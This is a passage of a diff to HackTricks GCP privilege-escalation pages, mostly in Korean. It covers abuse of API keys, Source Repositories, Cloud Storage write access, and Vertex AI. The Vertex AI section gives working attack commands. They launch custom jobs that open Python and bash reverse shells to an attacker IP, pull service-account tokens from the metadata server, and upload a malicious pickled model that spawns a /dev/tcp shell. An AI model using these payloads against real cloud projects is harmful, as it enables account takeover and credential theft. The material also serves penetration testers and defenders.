curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
|
||||
```
|
||||
</details>
|
||||
|
||||
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
|
||||
|
||||
이 권한을 통해 공격자는 프로젝트에서 새로운 서비스를 활성화하고 사용할 수 있습니다. 이는 **공격자가 admin 또는 cloudidentity와 같은 서비스를 활성화하여 Workspace 정보에 접근하려 하거나, 흥미로운 데이터에 접근하기 위해 다른 서비스를 사용할 수 있게 할 수 있습니다.**
|
||||
이 권한들을 가진 경우 attacker는 프로젝트에서 새로운 서비스를 활성화하고 사용할 수 있습니다. 이는 **attacker가 admin 또는 cloudidentity 같은 서비스를 활성화할 수 있게 하여** Workspace 정보를 조회하려 시도하거나, 다른 서비스를 통해 흥미로운 데이터에 접근할 수 있게 할 수 있습니다.
|
||||
|
||||
## **References**
|
||||
## **참고자료**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
@@ -38,11 +46,11 @@ curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKey
|
||||
|
||||
<summary><strong>HackTricks를 지원하고 혜택을 받으세요!</strong></summary>
|
||||
|
||||
당신은 **사이버 보안 회사**에서 일하고 있습니까? 당신의 **회사가 HackTricks에 광고되기를 원하십니까**? 아니면 **PEASS의 최신 버전에 접근하거나 HackTricks를 PDF로 다운로드하고 싶으십니까**? [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||
사이버보안 회사에서 근무하십니까? HackTricks에 귀사의 **company advertised in HackTricks**를 보고 싶으신가요? 또는 PEASS의 최신 버전에 접근하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)을 확인해 보세요!
|
||||
|
||||
[**PEASS 가족**](https://opensea.io/collection/the-peass-family)을 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
[**The PEASS Family**](https://opensea.io/collection/the-peass-family), 우리만의 독점적인 컬렉션인 [**NFTs**](https://opensea.io/collection/the-peass-family)를 확인해 보세요.
|
||||
|
||||
[**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 받으세요.
|
||||
[**official PEASS & HackTricks swag**](https://peass.creator-spring.com)을 받아보세요.
|
||||
|
||||
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 소스 리포지토리
|
||||
## Source Repositories
|
||||
|
||||
소스 리포지토리에 대한 자세한 정보는 다음을 확인하세요:
|
||||
Source Repositories에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-source-repositories-enum.md
|
||||
@@ -12,28 +12,32 @@
|
||||
|
||||
### `source.repos.get`
|
||||
|
||||
이 권한을 사용하면 리포지토리를 로컬로 다운로드할 수 있습니다:
|
||||
이 권한이 있으면 리포지토리를 로컬로 다운로드할 수 있습니다:
|
||||
|
||||
<details><summary>소스 리포지토리 복제</summary>
|
||||
```bash
|
||||
gcloud source repos clone <repo-name> --project=<project-uniq-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `source.repos.update`
|
||||
|
||||
이 권한을 가진 주체는 **`gcloud source repos clone <repo>`**로 클론한 리포지토리 내에서 코드를 작성할 수 있습니다. 그러나 이 권한은 사용자 정의 역할에 연결할 수 없으므로 다음과 같은 미리 정의된 역할을 통해 부여되어야 합니다:
|
||||
이 권한을 가진 주체는 **`gcloud source repos clone <repo>`로 복제된 저장소 안에 코드를 작성할 수 있습니다**. 다만 이 권한은 커스텀 역할에 부여할 수 없으므로 다음과 같은 미리 정의된 역할을 통해서만 부여되어야 합니다:
|
||||
|
||||
- Owner
|
||||
- Editor
|
||||
- Source Repository Administrator (`roles/source.admin`)
|
||||
- Source Repository Writer (`roles/source.writer`)
|
||||
|
||||
작성하려면 일반적인 **`git push`**를 수행하면 됩니다.
|
||||
작성하려면 일반적으로 **`git push`**를 수행하면 됩니다.
|
||||
|
||||
### `source.repos.setIamPolicy`
|
||||
|
||||
이 권한을 가진 공격자는 이전 권한을 자신에게 부여할 수 있습니다.
|
||||
이 권한을 가진 공격자는 자신에게 이전 권한들을 부여할 수 있습니다.
|
||||
|
||||
### Secret access
|
||||
|
||||
공격자가 **토큰이 저장된 비밀에 접근할 수 있다면**, 그는 이를 훔칠 수 있습니다. 비밀에 접근하는 방법에 대한 자세한 정보는 다음을 확인하세요:
|
||||
공격자가 토큰이 저장된 **secrets에 접근**할 수 있다면, 해당 토큰을 탈취할 수 있습니다. 시크릿에 접근하는 방법에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
gcp-secretmanager-privesc.md
|
||||
@@ -41,39 +45,47 @@ gcp-secretmanager-privesc.md
|
||||
|
||||
### Add SSH keys
|
||||
|
||||
웹 콘솔에서 **Source Repository 프로젝트에 ssh 키를 추가하는 것이 가능합니다**. 이는 **`/v1/sshKeys:add`**에 POST 요청을 보내며, [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)에서 구성할 수 있습니다.
|
||||
웹 콘솔에서 Source Repository 프로젝트에 **ssh 키를 추가할 수 있습니다**. 이는 **`/v1/sshKeys:add`**에 대한 POST 요청을 수행하며 [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)에서 설정할 수 있습니다.
|
||||
|
||||
ssh 키가 설정되면 다음과 같이 리포지토리에 접근할 수 있습니다:
|
||||
설정된 ssh 키로 다음과 같이 저장소에 접근할 수 있습니다:
|
||||
|
||||
<details><summary>SSH로 저장소 복제</summary>
|
||||
```bash
|
||||
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
|
||||
```
|
||||
그리고 일반적으로 **`git`** 명령어를 사용합니다.
|
||||
</details>
|
||||
|
||||
### 수동 자격 증명
|
||||
그리고 그 다음에는 **`git`** 명령을 평소처럼 사용하면 됩니다.
|
||||
|
||||
Source Repositories에 접근하기 위해 수동 자격 증명을 생성할 수 있습니다:
|
||||
### Manual Credentials
|
||||
|
||||
Source Repositories에 접근하기 위한 수동 자격 증명을 생성할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
첫 번째 링크를 클릭하면 [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)로 이동합니다.
|
||||
첫 번째 링크를 클릭하면 [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) 로 이동합니다.
|
||||
|
||||
이 링크는 **Google Cloud Development**에 접근하기 위한 **Oauth 인증 프롬프트**를 표시합니다. 따라서 **사용자의 자격 증명**이나 **브라우저에서 열린 세션**이 필요합니다.
|
||||
해당 페이지는 **Oauth authorization prompt**를 표시하여 **Google Cloud Development**에 대한 접근 권한을 요청합니다. 따라서 이를 위해서는 **사용자 자격 증명** 또는 **브라우저에 열린 세션**이 필요합니다.
|
||||
|
||||
이것은 **`$HOME/.gitcookies`**에 git 쿠키를 실행하고 구성하기 위한 **bash 스크립트**가 있는 페이지로 안내합니다.
|
||||
이 링크는 실행할 **bash 스크립트**가 있는 페이지로 이동시키며 git 쿠키를 **`$HOME/.gitcookies`**에 구성합니다.
|
||||
|
||||
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
스크립트를 실행하면 git clone, push 등을 사용할 수 있으며, 작동합니다.
|
||||
스크립트를 실행하면 git clone, push 등을 사용할 수 있습니다.
|
||||
|
||||
### `source.repos.updateProjectConfig`
|
||||
|
||||
이 권한을 사용하면 Private Keys가 포함된 코드를 업로드하지 않도록 Source Repositories의 기본 보호를 비활성화할 수 있습니다:
|
||||
이 권한을 사용하면 Private Keys가 포함된 코드를 업로드하지 못하게 하는 Source Repositories의 기본 보호 기능을 비활성화할 수 있습니다:
|
||||
|
||||
<details><summary>pushblock 비활성화 및 pub/sub 구성 수정</summary>
|
||||
```bash
|
||||
gcloud source project-configs update --disable-pushblock
|
||||
```
|
||||
다른 pub/sub 주제를 구성하거나 완전히 비활성화할 수도 있습니다:
|
||||
다른 pub/sub topic을 구성하거나 심지어 완전히 비활성화할 수도 있습니다:
|
||||
```bash
|
||||
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
|
||||
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage
|
||||
|
||||
기본 정보:
|
||||
Basic Information:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,18 +12,18 @@
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
이 권한은 **Cloud Storage에 저장된 파일을 다운로드할 수 있게 해줍니다**. 이는 경우에 따라 **민감한 정보가 거기에 저장될 수 있기 때문에** 권한 상승을 가능하게 할 수 있습니다. 게다가, 일부 GCP 서비스는 정보를 버킷에 저장합니다:
|
||||
이 권한은 **Cloud Storage에 저장된 파일을 다운로드**할 수 있게 합니다. 경우에 따라 **민감한 정보가 그곳에 저장되어 있는 경우**가 있어 이로 인해 권한 상승이 가능해질 수 있습니다. 또한 일부 GCP 서비스는 정보를 버킷에 저장합니다:
|
||||
|
||||
- **GCP Composer**: Composer 환경을 생성할 때 **모든 DAG의 코드**가 **버킷** 안에 저장됩니다. 이 작업들은 코드 안에 흥미로운 정보를 포함할 수 있습니다.
|
||||
- **GCR (Container Registry)**: 컨테이너의 **이미지**는 **버킷** 안에 저장되며, 이는 버킷을 읽을 수 있다면 이미지를 다운로드하고 **정보 유출 및/또는 소스 코드를 검색할 수 있음을 의미합니다**.
|
||||
- **GCP Composer**: Composer Environment를 생성하면 **모든 DAGs의 코드**가 **버킷**에 저장됩니다. 이러한 작업의 코드 안에는 흥미로운 정보가 포함되어 있을 수 있습니다.
|
||||
- **GCR (Container Registry)**: 컨테이너의 **이미지**가 **버킷** 안에 저장되므로, 버킷을 읽을 수 있다면 이미지를 다운로드하여 **leaks 및/또는 소스 코드**를 검색할 수 있습니다.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
이 권한을 통해 **이 섹션의 이전 시나리오를 악용할 수 있는 권한을 부여할 수 있습니다**.
|
||||
이 권한은 이 섹션의 이전 시나리오들을 **악용할 수 있는 권한을 부여**할 수 있게 합니다.
|
||||
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
이 권한으로 권한을 수정하는 방법에 대한 예시는 이 페이지를 확인하세요:
|
||||
이 권한으로 권한을 수정하는 방법의 예제는 다음 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
@@ -31,7 +31,9 @@
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Cloud Storage의 "상호 운용성" 기능은 **AWS S3와 같은 크로스 클라우드 상호작용**을 위해 **서비스 계정 및 사용자에 대한 HMAC 키 생성**을 포함합니다. 공격자는 **상승된 권한을 가진 서비스 계정에 대한 HMAC 키를 생성함으로써** **Cloud Storage 내에서 권한을 상승시킬 수 있습니다**. 사용자와 관련된 HMAC 키는 웹 콘솔을 통해서만 검색할 수 있지만, 접근 키와 비밀 키는 **영구적으로 접근 가능**하여 잠재적인 백업 접근 저장소를 허용합니다. 반면, 서비스 계정에 연결된 HMAC 키는 API를 통해 접근할 수 있지만, 생성 후에는 접근 키와 비밀 키를 검색할 수 없어 지속적인 접근에 대한 복잡성을 더합니다.
|
||||
Cloud Storage의 "interoperability" 기능은 AWS S3와 같은 cross-cloud 상호작용을 위해 설계되었으며, Service Accounts 및 사용자에 대한 HMAC 키 생성과 관련됩니다. 공격자는 권한이 높은 Service Account에 대해 HMAC 키를 생성함으로써 Cloud Storage 내에서 권한을 상승시킬 수 있습니다. 사용자에 연관된 HMAC 키는 웹 콘솔을 통해서만 조회할 수 있는 반면, access 및 secret 키는 영구적으로 접근 가능하여 백업 목적으로 저장될 수 있습니다. 반대로 Service Account에 연결된 HMAC 키는 API로 접근 가능하지만, 생성 이후에는 access 및 secret 키를 조회할 수 없어 지속적인 접근 측면에서 복잡성이 추가됩니다.
|
||||
|
||||
<details><summary>Create and use HMAC key for privilege escalation</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -61,54 +63,56 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
또 다른 익스플로잇 스크립트는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py)에서 찾을 수 있습니다.
|
||||
</details>
|
||||
|
||||
## `storage.objects.create`, `storage.objects.delete` = 스토리지 쓰기 권한
|
||||
이 방법에 대한 또 다른 익스플로잇 스크립트는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py)에서 확인할 수 있습니다.
|
||||
|
||||
버킷 내에 **새 객체를 생성**하려면 `storage.objects.create`가 필요하며, [문서에 따르면](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), 기존 객체를 **수정**하려면 `storage.objects.delete`도 필요합니다.
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
클라우드에서 쓸 수 있는 버킷의 **일반적인 익스플로잇**은 **버킷이 웹 서버 파일을 저장하는 경우**로, 웹 애플리케이션에서 사용될 **새 코드를 저장**할 수 있습니다.
|
||||
버킷 안에 **새 객체를 생성**하려면 `storage.objects.create`가 필요하고, [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions)에 따르면 기존 객체를 **수정**하려면 `storage.objects.delete`도 필요합니다.
|
||||
|
||||
클라우드에 쓰기 가능한 버킷을 악용하는 매우 **일반적인 사례**는 **버킷이 web server files 를 저장**하는 경우로, 웹 애플리케이션에서 사용될 **새 코드를 저장**할 수 있다는 점입니다.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer**는 GCP 내에서 관리되는 **Apache Airflow**입니다. 여러 흥미로운 기능이 있습니다:
|
||||
**Composer**는 GCP 내부에서 관리되는 **Apache Airflow**입니다. 다음과 같은 흥미로운 특성이 있습니다:
|
||||
|
||||
- **GKE 클러스터** 내에서 실행되므로, **클러스터가 사용하는 SA는 Composer 내에서 실행되는 코드에 의해 접근 가능합니다.**
|
||||
- Composer 환경의 모든 구성 요소(**DAG의 코드**, 플러그인 및 데이터)는 GCP 버킷 내에 저장됩니다. 공격자가 이에 대한 읽기 및 쓰기 권한을 가지면, 버킷을 모니터링하고 **DAG가 생성되거나 업데이트될 때마다 백도어가 포함된 버전을 제출**하여 Composer 환경이 저장소에서 백도어가 포함된 버전을 가져오게 할 수 있습니다.
|
||||
- **GKE cluster** 안에서 실행되므로, **the SA the cluster uses is accessible** by the code running inside Composer.
|
||||
- composer 환경의 모든 구성요소(**code of DAGs**, plugins 및 data)는 GCP 버킷에 저장됩니다. 공격자가 해당 버킷에 대해 읽기 및 쓰기 권한을 가지고 있다면 버킷을 모니터링하여 **whenever a DAG is created or updated, submit a backdoored version** 하여 composer 환경이 storage에서 백도어된 버전을 가져오게 할 수 있습니다.
|
||||
|
||||
**이 공격의 PoC를 레포에서 찾을 수 있습니다:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions 코드는 스토리지에 저장되며, 새 버전이 생성될 때마다 코드는 버킷에 푸시되고 새로운 컨테이너가 이 코드로부터 빌드됩니다. 따라서, **새 버전이 빌드되기 전에 코드를 덮어쓰는 것은 클라우드 함수가 임의의 코드를 실행하도록 만들 수 있습니다.**
|
||||
- Cloud Functions의 코드는 Storage에 저장되며 새로운 버전이 생성되면 코드가 버킷으로 푸시되고 그 코드로부터 새로운 컨테이너가 빌드됩니다. 따라서 **새 버전이 빌드되기 전에 코드를 덮어쓰는 것만으로도 cloud function이 arbitrary code를 실행하게 만드는 것이 가능합니다.**
|
||||
|
||||
**이 공격의 PoC를 레포에서 찾을 수 있습니다:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine 버전은 `staging.<project-id>.appspot.com` 형식의 버킷 내에 일부 데이터를 생성합니다. 이 버킷 내에는 AppEngine 앱의 각 버전별로 폴더가 포함된 `ae`라는 폴더를 찾을 수 있으며, 이 폴더 내에서 `manifest.json` 파일을 찾을 수 있습니다. 이 파일은 특정 버전을 생성하는 데 사용해야 하는 모든 파일을 포함하는 json을 포함합니다. 또한, **파일의 실제 이름, GCP 버킷 내의 URL(버킷 내의 파일은 sha1 해시로 이름이 변경됨) 및 각 파일의 sha1 해시를 찾을 수 있습니다.**
|
||||
AppEngine 버전은 `staging.<project-id>.appspot.com` 형식의 버킷 안에 일부 데이터를 생성합니다. 이 버킷 안에는 `ae`라는 폴더를 찾을 수 있으며, 그 안에는 AppEngine 앱의 각 버전별 폴더가 있고 해당 폴더들 안에서 `manifest.json` 파일을 찾을 수 있습니다. 이 파일은 특정 버전을 생성하는 데 사용되어야 할 모든 파일의 json을 포함합니다. 또한 **파일의 실제 이름, GCP 버킷 내에서의 URL(버킷 내부의 파일들은 sha1 해시로 이름이 바뀌어 있음) 및 각 파일의 sha1 해시**를 확인할 수 있습니다.
|
||||
|
||||
_이 버킷을 사전 점유하는 것은 불가능하다는 점에 유의하십시오. GCP 사용자는 appspot.com 도메인 이름을 사용하여 버킷을 생성할 수 있는 권한이 없습니다._
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
|
||||
그러나 이 버킷에 대한 읽기 및 쓰기 접근 권한이 있으면, 버킷을 모니터링하고 변경이 발생할 때마다(새 버전) 가능한 한 빨리 새 버전을 수정하여 App Engine 버전에 연결된 SA의 권한을 상승시킬 수 있습니다. 이렇게 하면 이 코드로부터 생성된 컨테이너가 백도어가 포함된 코드를 실행하게 됩니다.
|
||||
그러나 이 버킷에 대한 읽기 및 쓰기 접근 권한이 있다면 버킷을 모니터링하면서 변경(새 버전)이 발생할 때마다 가능한 한 빨리 새 버전을 수정하여 App Engine 버전에 연결된 SA로 권한 상승할 수 있습니다. 이렇게 하면 이 코드로부터 생성된 컨테이너가 backdoored 코드를 실행하게 됩니다.
|
||||
|
||||
언급된 공격은 여러 가지 방법으로 수행될 수 있으며, 모두 `staging.<project-id>.appspot.com` 버킷을 모니터링하는 것으로 시작합니다:
|
||||
언급한 공격은 여러 가지 방법으로 수행될 수 있으며, 모두 `staging.<project-id>.appspot.com` 버킷을 모니터링하는 것에서 시작합니다:
|
||||
|
||||
- AppEngine 버전의 전체 새 코드를 다른 사용 가능한 버킷에 업로드하고 **새 버킷 이름과 sha1 해시가 포함된 `manifest.json` 파일을 준비합니다.** 그런 다음, 버킷 내에서 새 버전이 생성될 때 `manifest.json` 파일을 수정하고 악성 파일을 업로드하기만 하면 됩니다.
|
||||
- **악성 종속성 코드를 사용할** 수정된 `requirements.txt` 버전을 업로드하고, 새 파일 이름, URL 및 해시로 `manifest.json` 파일을 업데이트합니다.
|
||||
- **악성 코드를 실행할** 수정된 `main.py` 또는 `app.yaml` 파일을 업로드하고, 새 파일 이름, URL 및 해시로 `manifest.json` 파일을 업데이트합니다.
|
||||
- AppEngine 버전의 전체 새 코드를 다른 사용 가능한 버킷에 업로드하고, **새 버킷 이름과 그들에 대한 sha1 해시를 포함한 `manifest.json` 파일을 준비**합니다. 그런 다음 버킷에 새 버전이 생성되면 `manifest.json` 파일을 수정하여 악성 버전으로 업로드하면 됩니다.
|
||||
- 수정된 `requirements.txt` 버전을 업로드하여 **malicious dependencies code** 를 사용하게 하고 `manifest.json` 파일을 새 파일명, URL 및 해시로 업데이트합니다.
|
||||
- **수정된 `main.py` 또는 `app.yaml` 파일을 업로드하여 malicious code를 실행**하게 하고 `manifest.json` 파일을 새 파일명, URL 및 해시로 업데이트합니다.
|
||||
|
||||
**이 공격의 PoC를 레포에서 찾을 수 있습니다:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry**는 이미지를 버킷에 저장하며, **이 버킷에 쓸 수 있다면** 나중에 **이 버킷이 실행되는 곳으로 수평 이동할 수 있습니다.**
|
||||
- GCR에서 사용하는 버킷은 `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com`과 유사한 URL을 가집니다(최상위 하위 도메인은 [여기](https://cloud.google.com/container-registry/docs/pushing-and-pulling)에서 지정됨).
|
||||
- **Google Container Registry**는 이미지를 버킷 안에 저장합니다. 해당 버킷에 **쓰기 권한**이 있다면 그 버킷이 실행되는 지점으로 **lateral 이동**할 수 있을지도 모릅니다.
|
||||
- GCR에서 사용하는 버킷은 `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com`과 유사한 URL을 갖습니다(최상위 서브도메인은 [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)에 지정되어 있습니다).
|
||||
|
||||
> [!TIP]
|
||||
> 이 서비스는 더 이상 사용되지 않으므로 이 공격은 더 이상 유용하지 않습니다. 또한, 이 서비스를 대체하는 Artifact Registry는 이미지를 버킷에 저장하지 않습니다.
|
||||
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
|
||||
|
||||
## **참고 문헌**
|
||||
## **References**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
|
||||
@@ -0,0 +1,720 @@
|
||||
# GCP - Vertex AI Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Vertex AI에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
`aiplatform.customJobs.create` 권한과 대상 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 있으면, 공격자는 **권한이 상승된 상태에서 임의의 코드를 실행할 수 있습니다**.
|
||||
|
||||
이 동작은 공격자가 제어하는 코드를 실행하는 custom training job(커스텀 컨테이너 또는 Python 패키지)을 생성함으로써 이루어집니다. `--service-account` 플래그로 권한이 높은 서비스 계정을 지정하면, 해당 잡은 그 서비스 계정의 권한을 상속합니다. 잡은 Google 관리 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth access token을 추출할 수 있습니다.
|
||||
|
||||
**Impact**: 대상 서비스 계정 권한으로의 완전한 권한 상승.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell을 실행하는 custom job 생성</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl http://attacker.com" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# On your attacker machine, start a listener first:
|
||||
# nc -lvnp 4444
|
||||
# Once connected, you can extract the token with:
|
||||
# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Method 2: Python reverse shell (if bash reverse shell is blocked)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>대안: 로그에서 토큰 추출</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=token-exfil-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# Monitor the job logs to get the token
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 커스텀 작업은 지정한 서비스 계정의 권한으로 실행됩니다. 대상 서비스 계정에 대해 `iam.serviceAccounts.actAs` 권한이 있는지 확인하세요.
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
이 기법은 모델을 Vertex AI에 업로드한 다음, 엔드포인트 배포(endpoint deployment) 또는 배치 예측 작업(batch prediction job)을 통해 해당 모델을 이용하여 권한이 상승된 상태로 코드를 실행함으로써 권한 상승을 달성합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 이 공격을 수행하려면 모델 아티팩트를 업로드할 수 있도록 공개 읽기 가능한 GCS 버킷이 있거나 새로 생성해야 합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell이 포함된 악성 pickled 모델 업로드</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
cat > create_malicious_model.py <<'EOF'
|
||||
import pickle
|
||||
|
||||
class MaliciousModel:
|
||||
def __reduce__(self):
|
||||
import subprocess
|
||||
cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
|
||||
return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
|
||||
|
||||
# Save malicious model
|
||||
with open('model.pkl', 'wb') as f:
|
||||
pickle.dump(MaliciousModel(), f)
|
||||
EOF
|
||||
|
||||
python3 create_malicious_model.py
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://your-bucket/malicious-model/
|
||||
|
||||
# Upload model (reverse shell executes when endpoint loads it during deployment)
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/malicious-model/ \
|
||||
--display-name=malicious-sklearn \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
|
||||
|
||||
# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>container reverse shell을 사용하여 모델 업로드</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
# Generate a fake model we need in a storage bucket in order to fake-run it later
|
||||
python3 -c '
|
||||
import pickle
|
